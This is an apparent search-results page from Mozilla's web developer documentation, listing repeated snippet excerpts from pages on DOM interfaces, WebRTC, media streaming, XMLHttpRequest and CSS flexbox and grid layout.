...ono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllinkelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and linkstyle. htmllinkelement.as is a domstring representing the type of content being loaded by the html link. htmllinkelement.crossorigin is a domstring that corresponds to the cors setting for this link element. see cors settings attributes for details. ...
...lement.as is a domstring representing the type of content being loaded by the html link. htmllinkelement.crossorigin is a domstring that corresponds to the cors setting for this link element. see cors settings attributes for details. htmllinkelement.disabled is a boolean which represents whether the link is disabled; currently only used with style sheet links. htmllinkelement.href is a domstring representing the uri for the target resource. htmllinkelement.hreflang is a domstring representing the language code for the linked resource. htmllinkelement.media is a domstring representing a list of one or more media formats to which the resource applies. ...
...And 5 more matches
HTMLTableCellElement - Web APIs
7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecellelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablecellelement.abbr a domstring which can be used on <th> elements (not on <td>), specifying an alternative label for the header cell.. this alternate label can be used in other contexts, such as when describing the headers that apply to a data cell. this is used to offer a shorter term for use by screen readers in particular, and is a valuable accessibility tool. usually the value of abbr is an abbreviation or acronym, bu...
... cell's position in the cells collection of the <tr> the cell is contained within. if the cell doesn't belong to a <tr>, it returns -1. htmltablecellelement.colspan an unsigned long integer indicating the number of columns this cell must span; this lets the cell occupy space across multiple columns of the table. it reflects the colspan attribute. ...
...header cells can be configured, using the scope property, the apply to a specified row or column, or to the not-yet-scoped cells within the current row group (that is, the same ancestor <thead>, <tbody>, or <tfoot> element). if no value is specified for scope, the header is not associated directly with cells in this way. ...
...And 5 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
introduction javascript is an inherently single-threaded language. it was designed in an era in which this was a positive choice; there were few multi-processor computers available to the general public, and the expected amount of code that would be handled by javascript was relatively low at that time. as time passed, of course, we know that computers have evolved into powerful multi-core systems, and javascript has become one of the most prolifically-used languages in the computing world. a vast number of the most popular applications are based at least in part on javascript code. to support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. starting with the addition of timeouts and intervals as part of the web api (settim...
... tracks the next line in the program that should be run and other information critical to that context's operation. by using the contexts and the context stack in this manner, many of the fundamentals of how a program operates can be managed, including local and global variables, function calls and returns, and so forth. a special note about recursive functions—that is, functions which call themselves, possibly over multiple levels of depth or recursion: each recursive call to the function creates a new execution context. this allows the javascript runtime to track the levels of recursion and the return of results through that recursion, but it also means that each time a function recurses, more memory is needed to create the new context. run, javascript, run to run javascript code, the...
...read—which some browsers share across multiple agents—each component of an agent is unique to that agent. here we look at how the runtime functions in slightly more detail. event loops each agent is driven by an event loop, which collects any user and other events, enqueuing tasks to handle each callback. it then runs any pending javascript tasks, then any pending microtasks, then performs any needed rendering and painting before looping again to check for pending tasks. your web site or app's code runs in the same thread, sharing the same event loop, as the user interface of the web browser itself. this is the main thread, and in addition to running your site's main code body, it handles receiving and dispatching user and other events, rendering and painting web content, and so f...
...And 5 more matches
IDBObjectStoreSync - Web APIs
rom the spec because its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the idbobjectstoresync interface of the indexeddb api provides synchronous access to an object store of a database. ...
...e its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the idbobjectstoresync interface of the indexeddb api provides synchronous access to an object store of a database. ...
...ble. it may however be reintroduced in the future if there is enough demand from web developers. the idbobjectstoresync interface of the indexeddb api provides synchronous access to an object store of a database. ...
...And 5 more matches
Recording a media element - Web APIs
by establishing some global variables we'll need. ...
...; let recording = document.getelementbyid("recording"); let startbutton = document.getelementbyid("startbutton"); let stopbutton = document.getelementbyid("stopbutton"); let downloadbutton = document.getelementbyid("downloadbutton"); let logelement = document.getelementbyid("log"); let recordingtimems = 5000; most of these are references to elements we need to work with. the last, recordingtimems, is set to 5000 milliseconds (5 seconds); this specifies the length of the videos we'll record. utility functions next, we create some utility functions that will get used later. function log(msg) { logelement.innerhtml += msg + "\n"; } the log() function is used to output text strings to a <div> so we can share information with the user. not very pretty but it gets the job done for our pu...
...(5 seconds); this specifies the length of the videos we'll record. utility functions next, we create some utility functions that will get used later. function log(msg) { logelement.innerhtml += msg + "\n"; } the log() function is used to output text strings to a <div> so we can share information with the user. not very pretty but it gets the job done for our purposes. function wait(delayinms) { return new promise(resolve => settimeout(resolve, delayinms)); } the wait() function returns a new promise which resolves once the specified number of milliseconds have elapsed. it works by using an arrow function which calls window.settimeout(), specifying the promise's resolution handler as the timeout handler function. that lets us use promise syntax when using timeouts, which can be ve...
...And 5 more matches
Media Source API - Web APIs
the media source api, formally known as media source extensions (mse), provides functionality enabling plugin-free web-based streaming media. using mse, media streams can be created via javascript, and played using <audio> and <video> elements. media source extensions concepts and usage playing video and audio has been available in web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks. we can't, for example, combine/split arraybuffers. streaming media has up until recently been the domain of flash, with technologies like flash media server serving video streams using the rtmp protocol. ...
...aying video and audio has been available in web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks. we can't, for example, combine/split arraybuffers. streaming media has up until recently been the domain of flash, with technologies like flash media server serving video streams using the rtmp protocol. ...
...web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks. we can't, for example, combine/split arraybuffers. streaming media has up until recently been the domain of flash, with technologies like flash media server serving video streams using the rtmp protocol. the mse standard with media source extensions (mse), this is changing. ...
...And 5 more matches
Node - Web APIs
Web › API › Node
by an interface based on node. these include attr, characterdata (which text, comment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference. in some cases, a particular feature of the base node interface may not apply to one of its child interfaces; in that case, the inheriting node may return null or throw an exception, depending on circumstances. for example, attempting to add children to a node type that cannot have children will throw an exception. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectr...
...h="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties in addition to the properties below, node inherits properties from its parent, eventtarget. node.baseuriread only returns a domstring representing the base url of the document containing the node. node.baseuriobject read only (not available to web content.) the nsiuri object representing the base uri for the element. node.childnodesread only returns a live nodelist containing all the children of this node. nodelist being live means that if the children of the node change, the nodelist object is automatically update...
...ext object, e.g. the document object in the case of the normal dom, or the shadowroot in the case of a shadow dom. node.lastchildread only returns a node representing the last direct child node of the node, or null if the node has no child. node.nextsiblingread only returns a node representing the next node in the tree, or null if there isn't such node. node.nodenameread only returns a domstring containing the name of the node. the structure of the name will differ with the node type. e.g. an htmlelement will contain the name of the corresponding tag, like 'audio' for an htmlaudioelement, a text node will have the '#text' string, or a document node will have the '#document' string. node.nodetyperead only returns an unsigned short representing the type of the node. possible values...
...And 5 more matches
PaymentAddress - Web APIs
the paymentaddress interface of the payment request api is used to store shipping or payment address information. it may be useful to refer to the universal postal union web site's addressing s42 standard materials, which provide information about international standards for postal addresses. ...
...s paymentaddress.addressline read only an array of domstring objects providing each line of the address not included among the other properties. the exact size and content varies by country or location and can include, for example, a street name, house number, apartment number, rural delivery route, descriptive instructions, or post office box number. paymentaddress.country read only a domstring specifying the country in which the address is located, using the iso-3166-1 alpha-2 standard. the string is always given in its canonical upper-case form. some examples of valid country values: "us", "gb", "cn", or "jp". paymentaddress.city read only a domstring which contains the city or town portion of the address. ...
...y read only a domstring specifying the country in which the address is located, using the iso-3166-1 alpha-2 standard. the string is always given in its canonical upper-case form. some examples of valid country values: "us", "gb", "cn", or "jp". paymentaddress.city read only a domstring which contains the city or town portion of the address. paymentaddress.dependentlocality read only a domstring giving the dependent locality or sublocality within a city, for example, a neighborhood, borough, district, or uk dependent locality. paymentaddress.organization read only a domstring specifying the name of the organization, firm, company, or institution at the payment address. ...
...And 5 more matches
RTCIceCandidate - Web APIs
didate, optionally configured based on an object based on the rtcicecandidateinit dictionary. note: for backward compatibility, the constructor also accepts as input a string containing the value of the candidate property instead of a rtcicecandidateinit object, since the candidate includes all of the information that rtcicecandidateinit does and more. ...
... all of the information that rtcicecandidateinit does and more. properties candidate read only a domstring representing the transport address for the candidate that can be used for connectivity checks. the format of this address is a candidate-attribute as defined in rfc 5245. this string is empty ("") if the rtcicecandidate is an "end of candidates" indicator. component read only a domstring which indicates whether the candidate is an rtp or an rtcp candidate; its value is either "rtp" or "rtcp", and is derived from the "component-id" field in the candidate a-line string. the permitted values are listed in the rtcicecomponent enumerated type. ...
... empty ("") if the rtcicecandidate is an "end of candidates" indicator. component read only a domstring which indicates whether the candidate is an rtp or an rtcp candidate; its value is either "rtp" or "rtcp", and is derived from the "component-id" field in the candidate a-line string. the permitted values are listed in the rtcicecomponent enumerated type. foundation read only returns a domstring containing a unique identifier that is the same for any candidates of the same type, share the same base (the address from which the ice agent sent the candidate), and come from the same stun server. ...
...And 5 more matches
RTCStatsReport - Web APIs
report obtained by calling one of the rtcpeerconnection.getstats(), rtcrtpreceiver.getstats(), and rtcrtpsender.getstats() methods. this statistics report contains a mapping of statistic category string names to objects containing the corresponding statistics data. calling getstats() on an rtcpeerconnection lets you specify whether you wish to obtain statistics for outbound, inbound, or all streams on the connection. the rtcrtpreceiver and rtcrtpsender versions of getstats() specifically only return statistics available to the incoming or outgoing stream on which you call them. the statistics objects for each category of statistic information, there is a dictionary whose properties provide the relevant information. properties common to all statistic categories all webrtc statistics obje...
...each category of statistic information, there is a dictionary whose properties provide the relevant information. properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats. timestamp a domhighrestimestamp object indicating the time at which the sample was taken for this statistics object. type a domstring indicating the type of statistics the object contains, taken from the enum type rtcstatstype. the statistic categories the type gives the name of the stat...
...ringstate to new during an ice restart. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. ...
...And 5 more matches
SVGDocument - Web APIs
n svgdocument object will not exist; instead, the root object in the document object hierarchy will be a document object of a different type, such as an htmldocument object. ...
... exist; instead, the root object in the document object hierarchy will be a document object of a different type, such as an htmldocument object. ...
...l be a document object of a different type, such as an htmldocument object. ...
...And 5 more matches
SVGLengthList - Web APIs
methods name & arguments return description clear() vo...
...em(in svglength newitem, in unsigned long index) svglength removeitem(in unsigned long index) svglength appenditem(in svglength newitem) properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list. length unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is rais...
...if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. ...
...And 5 more matches
SVGNumberList - Web APIs
methods name & arguments return description clear() ...
...vgnumber newitem, in unsigned long index) svgnumber removeitem(in unsigned long index) svgnumber appenditem(in svgnumber newitem) properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list. length unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is ...
...if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. ...
...And 5 more matches
SVGPathSegList - Web APIs
...
... properties readonly unsigned long numberofitems normative document svg 1.1 (2nd edition) properties name type description numberofitemsread only unsigned long the number of items in the list. methods clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_all...
...if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. ...
...And 5 more matches
SVGPointList - Web APIs
methods ...
...ewitem) properties readonly unsigned long numberofitems normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: ...
...if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. ...
...And 5 more matches
WebRTC API - Web APIs
nd the fundamentals of webrtc, how to set up and use both data and media connections, and more. interoperability because implementations of webrtc are still evolving, and because each browser has different levels of support for codecs and webrtc features, you should strongly consider making use of the adapter.js library provided by google before you begin to write your code. adapter.js uses shims and polyfills to smooth over the differences among the webrtc implementations across the environments supporting it. adapter.js also handles prefixes and other naming differences to make the entire webrtc development process easier, with more broadly compatible results. the library is also available as an npm package. to learn more about adapter.js, see improving compatibility using webrtc adapt...
...ting it. adapter.js also handles prefixes and other naming differences to make the entire webrtc development process easier, with more broadly compatible results. the library is also available as an npm package. to learn more about adapter.js, see improving compatibility using webrtc adapter.js. webrtc concepts and usage webrtc serves multiple purposes; together with the media capture and streams api, they provide powerful multimedia capabilities to the web, including support for audio and video conferencing, file exchange, screen sharing, identity management, and interfacing with legacy telephone systems including support for sending dtmf (touch-tone dialing) signals. connections between peers can be made without requiring any special drivers or plug-ins, and can often be made without an...
...cy telephone systems including support for sending dtmf (touch-tone dialing) signals. connections between peers can be made without requiring any special drivers or plug-ins, and can often be made without any intermediary servers. connections between two peers are represented by the rtcpeerconnection interface. once a connection has been established and opened using rtcpeerconnection, media streams (mediastreams) and/or data channels (rtcdatachannels) can be added to the connection. media streams can consist of any number of tracks of media information; tracks, which are represented by objects based on the mediastreamtrack interface, may contain one of a number of types of media data, including audio, video, and text (such as subtitles or even chapter names). ...
...And 5 more matches
WebRTC Statistics API - Web APIs
change from one rtcicetransport to another, such as during an ice restart. rtcicecandidatepairstats rtcstats certificate statistics about a certificate being used by an rtcicetransport. rtccertificatestats rtcstats codec statistics about a specific codec being used by streams being sent or received by this connection. rtccodecstats rtcstats csrc statistics for a single contributing source (csrc) that contributed to one of the connection's inbound rtp streams. rtcrtpcontributingsourcestats rtcstats data-channel statistics related to one rtcdatachannel on the connection. rtcd...
...tics related to one rtcdatachannel on the connection. rtcdatachannelstats rtcstats ice-server statistics about the connection to an ice server (stun or turn. rtciceserverstats rtcstats inbound-rtp statistics describing the state of one of the connection's inbound data streams. rtcinboundrtpstreamstats rtcreceivedrtpstreamstats rtcrtpstreamstats rtcstats local-candidate statistics about a local ice candidate associated with the connection's rtcicetransports. rtcicecandidatestats rtcstats ...
...the mediastreamtrack attached to an rtp sender. the dictionary this key maps to depends on the track's kind. rtcaudiosourcestats or rtcvideosourcestats rtcmediasourcestats rtcstats rtcaudiosourcestats or rtcvideosourcestats outbound-rtp statistics describing the state of one of the outbound data streams on this connection. rtcoutboundrtpstreamstats rtcsentrtpstreamstats rtcrtpstreamstats rtcstats peer-connection statistics describing the state of the rtcpeerconnection. rtcpeerconnectionstats rtcstats ...
...And 5 more matches
window.location - Web APIs
Web › API › Window › location
this means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'. see location for all available properties. ...
...non diam. morbi auctor ornare orci, non euismod felis gravida nec. curabitur elementum nisi a eros rutrum nec blandit diam placerat. aenean tincidunt risus ut nisi consectetur cursus. ut vitae quam elit. donec dignissim est in quam tempor consequat. aliquam aliquam diam non felis convallis suscipit. nulla facilisi. donec lacus risus, dignissim et fringilla et, egestas vel eros. duis malesuada accumsan dui, at fringilla mauris bibendum quis. cras adipiscing ultricies fermentum. praesent bibendum condimentum feugiat.</p> <p id="mybookmark1">[&nbsp;<span class="intlink" onclick="showbookmark('#mybookmark2');">go to bookmark #2</span>&nbsp;]</p> <p>vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. proin ac ante a felis ornare vehicula. fusce pellentesque lacus vitae eros conva...
...pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. in tincidunt tincidunt tincidunt. nulla vitae tempor nisl. etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.</p> <p>nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. proin mattis lobortis lobortis. quisque accumsan faucibus erat, vel varius tortor ultricies ac. lorem ipsum dolor sit amet, consectetur adipiscing elit. sed nec libero nunc. nullam tortor nunc, elementum a consectetur et, ultrices eu orci. lorem ipsum dolor sit amet, consectetur adipiscing elit. pellentesque a nisl eu sem vehicula egestas.</p> <p>aenean viverra varius mauris, sed elementum lacus interdum non. phasellus sit amet lectus vitae e...
...And 5 more matches
Window.open() - Web APIs
Web › API › Window › open
the window interface's open() method loads the specified resource into the new or existing browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new browsing context is opened in a new tab or a new window, and the specified resource is loaded into it. ...
...to it. syntax var window = window.open(url, windowname, [windowfeatures]); parameters url a domstring indicating the url of the resource to be loaded. this can be a path or url to an html page, image file, or any other resource that is supported by the browser. if the empty string ("") is specified as url, a blank page is opened into the targeted browsing context. windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname. this name can be used as the target for the target attribute of <a> or <form> elements. the name should not contain whitespace. keep in mind that this will n...
...me> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname. this name can be used as the target for the target attribute of <a> or <form> elements. the name should not contain whitespace. keep in mind that this will not be used as the window's title. windowfeatures optional a domstring containing a comma-separated list of window features given with their corresponding values in the form "name=value". these features include options such as the window's default size and position, whether or not to include toolbar, and so forth. there must be no whitespace in the string. see window features below for documentation of each of the features that can be specified. return value ...
...And 5 more matches
Using XMLHttpRequest - Web APIs
("loadend", loadend); function loadend(e) { console.log("the transfer finished (although we don't know if it succeeded or not)."); } note there is no way to be certain, from the information received by the loadend event, as to which condition caused the operation to terminate; however, you can use this to handle tasks that need to be performed in all end-of-transfer scenarios. ...
...shed (although we don't know if it succeeded or not)."); } note there is no way to be certain, from the information received by the loadend event, as to which condition caused the operation to terminate; however, you can use this to handle tasks that need to be performed in all end-of-transfer scenarios. submitting forms and uploading files instances of xmlhttprequest can be used to submit forms in two ways: using only ajax using the formdata api using the formdata api is the simplest and fastest, but has the disadvantage that data collected can not be stringified. using only ajax is more complex, but typically more flexible and powerful. using nothing but xmlhttprequest submitting forms without the formdata api does not require other apis for most use cases. the only case where...
...re using the get method, a string like the following will be simply added to the url: ?foo=bar&baz=the%20first%20line.%0athe%20second%20line. a little vanilla framework all these effects are done automatically by the web browser whenever you submit a <form>. if you want to perform the same effects using javascript you have to instruct the interpreter about everything. ...
...And 5 more matches
CSS Flexible Box Layout - CSS: Cascading Style Sheets
css flexible box layout is a module of css that defines a css box model optimized for user interface design, and the layout of items in one dimension. in the flex layout model, the children of a flex container can be laid out in any direction, and can “flex” their sizes, either growing to fill unused space or shrinking to avoid overflowing the parent. both horizontal and vertical alignment of the children can be easily manipulated. basic example in the following example a container has been set to display: flex, which means that the three child items become flex items. ...
...ir sizes, either growing to fill unused space or shrinking to avoid overflowing the parent. both horizontal and vertical alignment of the children can be easily manipulated. basic example in the following example a container has been set to display: flex, which means that the three child items become flex items. the value of justify-content has been set to space-between in order to space the items out evenly on the main axis. an equal amount of space is placed between each item with the left and right items being flush with the edges of the flex container. you can also see that the items are stretching on the cross axis, due to the default value of align-items being stretch. the items stretch to the height of the flex container, making them each appear as tall as the tallest item. refer...
...e items are stretching on the cross axis, due to the default value of align-items being stretch. the items stretch to the height of the flex container, making them each appear as tall as the tallest item. reference css properties flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap order alignment properties the properties align-content, align-self, align-items and justify-content initially appeared in the flexbox specification, but are now defined in box alignment. the flexbox spec now refers to the box alignment specification for up to date definitions. also additional alignment properties are now defined in box alignment. ...
...And 5 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
in this guide we are going to look at how these two things work together when we use named lines. line naming is incredibly useful, but some of the more baffling looking grid syntax comes from this combination of names and track sizes. once you work through some examples it should become clearer and easier to work with. naming lines when defining a grid you can assign some or all of the lines in your grid a name when you define your grid with the grid-template-rows and grid-template-columns properties. ...
...rapper"> <div class="thing">i am placed in an area named content.</div> </div> we don’t need to define where our areas are with grid-template-areas as our named lines have created an area for us. implicit grid lines from named areas we have seen how named lines create a named area, and this also works in reverse. named template areas create named lines that you can use to place your items. if we take the layout created in the guide to grid template areas, we can use the lines created by our areas to see how this works. in this example i have added an extra div with a class of overlay. we have named areas created using the grid-area property, then a layout created in grid-template-areas. the area names are: hd ft main sd this gives us column and row lines: hd-start hd-...
...n. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(12, [col-start] 1fr); } once you have created the grid you can place items onto it. as we have multiple lines named col-start if you place an item to start after line col-start grid uses the first line named col-start, in our case that will be the far left line. to address another line use the name, plus the number for that line. to place our item from the first line named col-start to the 5th, we can use: .item1 { grid-column: col-start / col-start 5 } you can als...
...And 5 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
> <div class="css-property"> <span class="property">background:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url("images/picker_mask.png"); backgrou...
...ghtness) */ .ui-color-picker .picking-area { background: url("images/picker_mask.png"); background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { backgrou...
..., hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%,...
...And 5 more matches
place-content - CSS: Cascading Style Sheets
/* global values */ place-content: inherit; place-content: initial; place-content: unset; the first value is the align-content property value, the second the justify-content one. important: if the second value is not present, the first value is used for both, provided it is a valid value for both. if it is invalid for one or the other, the whole value will be invalid. values start the items are packed flush to each other toward the start edge of the alignment container in the appropriate axis. end the items are packed flush to each other toward the end edge of the alignment container in the appropriate axis. flex-start the items are packed flush to each other toward the edge of the alignment container depending on the flex container's main-start or cross-start side. this only a...
... other toward the start edge of the alignment container in the appropriate axis. end the items are packed flush to each other toward the end edge of the alignment container in the appropriate axis. flex-start the items are packed flush to each other toward the edge of the alignment container depending on the flex container's main-start or cross-start side. this only applies to flex layout items. for items that are not children of a flex container, this value is treated like start. flex-end the items are packed flush to each other toward the edge of the alignment container depending on the flex container's main-end or cross-end side. this only applies to flex layout items. ...
... depending on the flex container's main-start or cross-start side. this only applies to flex layout items. for items that are not children of a flex container, this value is treated like start. flex-end the items are packed flush to each other toward the edge of the alignment container depending on the flex container's main-end or cross-end side. this only applies to flex layout items. for items that are not children of a flex container, this value is treated like end. center the items are packed flush to each other toward the center of the alignment container. left the items are packed flush to each other toward the left edge of the alignment container. ...
...And 5 more matches
place-self - CSS: Cascading Style Sheets
for gri...
... auto computes to the parent's align-items value. normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in static position of absolutely-positioned layouts, the keyword behaves as stretch. for flex items, the keyword behaves as stretch. for grid items, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. the property doesn't apply to block-level boxes, and to table cells. ...
...c position of absolutely-positioned layouts, the keyword behaves as stretch. for flex items, the keyword behaves as stretch. for grid items, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. the property doesn't apply to block-level boxes, and to table cells. self-start aligns the items to be flush with the edge of the alignment container corresponding to the item's start side in the cross axis. self-end aligns the items to be flush with the edge of the alignment container corresponding to the item's end side in the cross axis. flex-start the cross-start margin edge of the flex item is flushed with the cross-start edge of the line. flex-end the cross-end margin edge of the...
...And 5 more matches
Event reference
kerror it was impossible to lock the pointer for technical reasons or because the permission was denied. select some text is being selected. wheel a wheel button of a pointing device is rotated in any direction. drag & drop events event name fired when drag an element or text selection is being dragged (fired continuously every 350ms). dragend a drag operation is being ended (by releasing a mouse button or hitting the escape key). dragenter a dragged element or text selection enters a valid drop target. dragstart the user starts dragging an element or text selection. dragleave a dragged element or text selection leaves a valid drop target. dragover an element or text...
...n or hitting the escape key). dragenter a dragged element or text selection enters a valid drop target. dragstart the user starts dragging an element or text selection. dragleave a dragged element or text selection leaves a valid drop target. dragover an element or text selection is being dragged over a valid drop target (fired continuously every 350ms). drop an element is dropped on a valid drop target. media events event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further bufferi...
...mechange levelchange call events alerting busy callschanged cfstatechange connecting dialing disconnected disconnecting error held, holding incoming resuming statechange voicechange sensor events compassneedscalibration devicemotion deviceorientation orientationchange smartcard events icccardlockerror iccinfochange smartcard-insert smartcard-remove stkcommand stksessionend cardstatechange sms and ussd events delivered received sent ussdreceived frame events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserlocationchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange dom mutation events domattributenamechanged domattrmodified domcharacterdatamodified domcontentl...
...And 5 more matches
Live streaming web audio and video - Developer guides
ptive streaming is a technique for doing this in the case of low bandwidth. the idea is that the data transfer rate is monitored and if it looks like it's not keeping up, we drop down to a lower bandwidth (and consequently lower quality) stream. in order to have this capability, we need to use formats that facilitate this. live streaming formats generally allow adaptive streaming by breaking streams into a series of small segments and making those segments available at different qualities and bit rates. streaming audio and video on demand streaming technology is not used exclusively for live streams. it can also be used instead of the traditional progressive download method for audio and video on demand: there are several advantages to this: latency is generally lower so media will sta...
... http for now, http is by far the most commonly supported protocol used to transfer media on demand or live. rtmp real time messaging protocol (rtmp) is a proprietary protocol developed by macromedia (now adobe) and supported by the adobe flash plugin. rtmp comes in various flavours including rtmpe (encrypted), rtmps (secure over ssl/tls) and rtmpt (encapsula...
...ugins, although this looks set to change. protocols other than http may also be subject to blocking from firewalls or proxy servers. using streaming protocols the process of using the various protocols is reassuringly familiar if you are used to working with media over http. for example: <video src="rtsp://myhost.com/mymedia.format"> <!-- fallback here --> </video> media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for playback. allowing javascript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams. for example, you could implement mpeg-dash using javascript while offloading the decoding to mse. note: time shiftin...
...And 5 more matches
Audio and Video Delivery - Developer guides
currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. ...
...currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. ...
...currently, to support all browsers we need to specify two formats, although with the adoption of mp3 and mp4 formats in firefox and opera, this is changing fast. ...
...And 5 more matches
Index - Developer guides
Web › Guide › Index
